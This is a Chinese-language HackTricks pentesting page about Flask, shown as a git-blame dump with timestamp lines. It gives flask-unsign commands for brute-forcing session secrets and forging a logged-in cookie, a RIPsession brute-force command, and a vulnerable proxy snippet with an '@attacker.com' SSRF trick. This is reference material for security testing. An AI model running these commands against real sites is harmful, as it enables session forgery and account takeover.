2022-05-11 15:39:42 +00:00
# Flask
2022-04-28 16:01:33 +00:00
< details >
2024-02-09 08:58:25 +00:00
< summary > < strong > 从零开始学习AWS黑客技术, 成为专家< / strong > < a href = "https://training.hacktricks.xyz/courses/arte" > < strong > htARTE( HackTricks AWS红队专家) < / strong > < / a > < strong > ! < / strong > < / summary >
2022-04-28 16:01:33 +00:00
2023-12-31 02:59:27 +00:00
支持HackTricks的其他方式:
2024-02-09 08:58:25 +00:00
- 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
- 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
- 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
- **加入** 💬 [**Discord群组** ](https://discord.gg/hRep4RUj7f ) 或 [**电报群组** ](https://t.me/peass ) 或 **关注**我们的**Twitter** 🐦 [**@carlospolopm** ](https://twitter.com/hacktricks_live )**。**
- 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
2022-04-28 16:01:33 +00:00
< / details >
2023-04-30 21:54:03 +00:00
< figure > < img src = "../../.gitbook/assets/image (9) (1) (2).png" alt = "" > < figcaption > < / figcaption > < / figure >
2022-06-06 22:28:05 +00:00
2024-02-09 08:58:25 +00:00
使用[**Trickest**](https://trickest.com/?utm_campaign=hacktrics& utm_medium=banner& utm_source=hacktricks)可以轻松构建和**自动化工作流程**,使用世界上**最先进的**社区工具。\
2023-08-03 19:12:22 +00:00
立即获取访问权限:
2022-06-06 22:28:05 +00:00
2023-01-01 16:19:07 +00:00
{% embed url="https://trickest.com/?utm_campaign=hacktrics& utm_medium=banner& utm_source=hacktricks" %}
2022-06-06 22:28:05 +00:00
2024-02-09 08:58:25 +00:00
**如果您在玩CTF游戏, Flask应用程序可能与** [**SSTI** ](../../pentesting-web/ssti-server-side-template-injection/ )**相关。**
2020-07-15 15:43:14 +00:00
2022-05-11 15:39:42 +00:00
## Cookies
2020-07-15 15:43:14 +00:00
2024-02-09 08:58:25 +00:00
默认cookie会话名称为**`session`**。
2020-11-22 23:24:53 +00:00
2023-08-03 19:12:22 +00:00
### 解码器
2020-07-15 15:43:14 +00:00
2024-02-09 08:58:25 +00:00
在线Flask cookie解码器: [https://www.kirsle.net/wizards/flask-session.cgi](https://www.kirsle.net/wizards/flask-session.cgi)
2020-07-15 15:43:14 +00:00
2023-12-31 02:59:27 +00:00
#### 手动
2020-07-15 15:43:14 +00:00
2024-02-09 08:58:25 +00:00
获取cookie的第一部分直到第一个点, 并对其进行Base64解码>
2020-11-22 21:41:06 +00:00
```bash
2020-07-15 15:43:14 +00:00
echo "ImhlbGxvIg" | base64 -d
```
2022-05-11 15:39:42 +00:00
### **Flask-Unsign**
2020-07-15 15:43:14 +00:00
2024-02-09 08:58:25 +00:00
使用密码对cookie进行签名
命令行工具, 通过猜测秘钥来获取、解码、暴力破解和构建Flask应用程序的会话cookie。
2020-07-15 15:43:14 +00:00
{% embed url="https://pypi.org/project/flask-unsign/" %}
2020-11-22 21:41:06 +00:00
```bash
2020-07-15 15:43:14 +00:00
pip3 install flask-unsign
```
2023-08-03 19:12:22 +00:00
#### **解码 Cookie**
2020-11-22 21:41:06 +00:00
```bash
2020-07-15 15:43:14 +00:00
flask-unsign --decode --cookie 'eyJsb2dnZWRfaW4iOmZhbHNlfQ.XDuWxQ.E2Pyb6x3w-NODuflHoGnZOEpbH8'
```
2023-08-03 19:12:22 +00:00
#### **暴力破解**
2020-11-22 21:41:06 +00:00
```bash
2022-05-11 15:39:42 +00:00
flask-unsign --wordlist /usr/share/wordlists/rockyou.txt --unsign --cookie '< cookie > ' --no-literal-eval
2020-07-15 15:43:14 +00:00
```
2023-08-03 19:12:22 +00:00
#### **签名**
2020-11-22 21:41:06 +00:00
```bash
2020-07-15 15:43:14 +00:00
flask-unsign --sign --cookie "{'logged_in': True}" --secret 'CHANGEME'
```
2024-02-09 08:58:25 +00:00
#### 使用传统(旧版本)进行签名
2020-11-22 21:41:06 +00:00
```bash
2020-07-15 15:43:14 +00:00
flask-unsign --sign --cookie "{'logged_in': True}" --secret 'CHANGEME' --legacy
```
2022-06-10 11:00:22 +00:00
### **RIPsession**
2022-09-30 10:27:15 +00:00
2024-02-09 08:58:25 +00:00
用于使用使用flask-unsign制作的cookie对网站进行暴力破解的命令行工具。
2022-06-10 11:00:22 +00:00
2022-09-30 10:27:15 +00:00
{% embed url="https://github.com/Tagvi/ripsession" %}
2022-06-10 11:00:22 +00:00
```bash
2023-08-03 19:12:22 +00:00
ripsession -u 10.10.11.100 -c "{'logged_in': True, 'username': 'changeMe'}" -s password123 -f "user doesn't exist" -w wordlist.txt
2022-06-10 11:00:22 +00:00
```
2024-02-09 08:58:25 +00:00
### 使用 SQLmap 在 Flask 会话 cookie 中进行 SQLi
2023-10-26 14:38:55 +00:00
2024-02-09 08:58:25 +00:00
[**此示例** ](../../pentesting-web/sql-injection/sqlmap/#eval ) 使用 sqlmap 的 `eval` 选项,**使用已知密钥自动签署 sqlmap 负载**,用于针对 Flask 进行攻击。
2023-10-26 14:38:55 +00:00
2024-02-09 08:58:25 +00:00
## Flask 代理到 SSRF
2023-10-26 14:38:55 +00:00
2024-02-09 08:58:25 +00:00
[**在这篇文章中** ](https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies ) 解释了 Flask 如何允许以字符 "@" 开头的请求:
2023-10-26 14:38:55 +00:00
```http
GET @/ HTTP/1.1
Host: target.com
Connection: close
```
2024-02-09 08:58:25 +00:00
在以下情况中:
2023-10-26 14:38:55 +00:00
```python
from flask import Flask
from requests import get
app = Flask('__main__')
SITE_NAME = 'https://google.com/'
2022-06-10 11:00:22 +00:00
2023-10-26 14:38:55 +00:00
@app .route('/', defaults={'path': ''})
@app .route('/< path:path > ')
def proxy(path):
return get(f'{SITE_NAME}{path}').content
app.run(host='0.0.0.0', port=8080)
```
2024-02-09 08:58:25 +00:00
可以允许引入类似"@attacker.com"的内容,以引发**SSRF**。
2022-04-28 16:01:33 +00:00
2023-04-30 21:54:03 +00:00
< figure > < img src = "../../.gitbook/assets/image (9) (1) (2).png" alt = "" > < figcaption > < / figcaption > < / figure >
2022-06-06 22:28:05 +00:00
2024-02-09 08:58:25 +00:00
使用[**Trickest**](https://trickest.com/?utm_campaign=hacktrics& utm_medium=banner& utm_source=hacktricks)轻松构建并**自动化**由全球**最先进**的社区工具提供支持的工作流程。\
2023-08-03 19:12:22 +00:00
立即获取访问权限:
2022-06-06 22:28:05 +00:00
2023-01-01 16:19:07 +00:00
{% embed url="https://trickest.com/?utm_campaign=hacktrics& utm_medium=banner& utm_source=hacktricks" %}
2022-06-06 22:28:05 +00:00
2022-04-28 16:01:33 +00:00
< details >
2024-02-09 08:58:25 +00:00
< summary > < strong > 从零开始学习AWS黑客技术, 成为专家< / strong > < a href = "https://training.hacktricks.xyz/courses/arte" > < strong > htARTE( HackTricks AWS Red Team Expert) < / strong > < / a > < strong > ! < / strong > < / summary >
2023-12-31 02:59:27 +00:00
2024-02-09 08:58:25 +00:00
支持HackTricks的其他方式:
2022-04-28 16:01:33 +00:00
2024-02-09 08:58:25 +00:00
* 如果您想在HackTricks中看到您的**公司广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[NFT](https://opensea.io/collection/the-peass-family)收藏品
* **加入** 💬 [**Discord群** ](https://discord.gg/hRep4RUj7f ) 或 [**电报群** ](https://t.me/peass ) 或在**Twitter**上关注我们 🐦 [**@carlospolopm** ](https://twitter.com/hacktricks_live )**。**
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
2022-04-28 16:01:33 +00:00
< / details >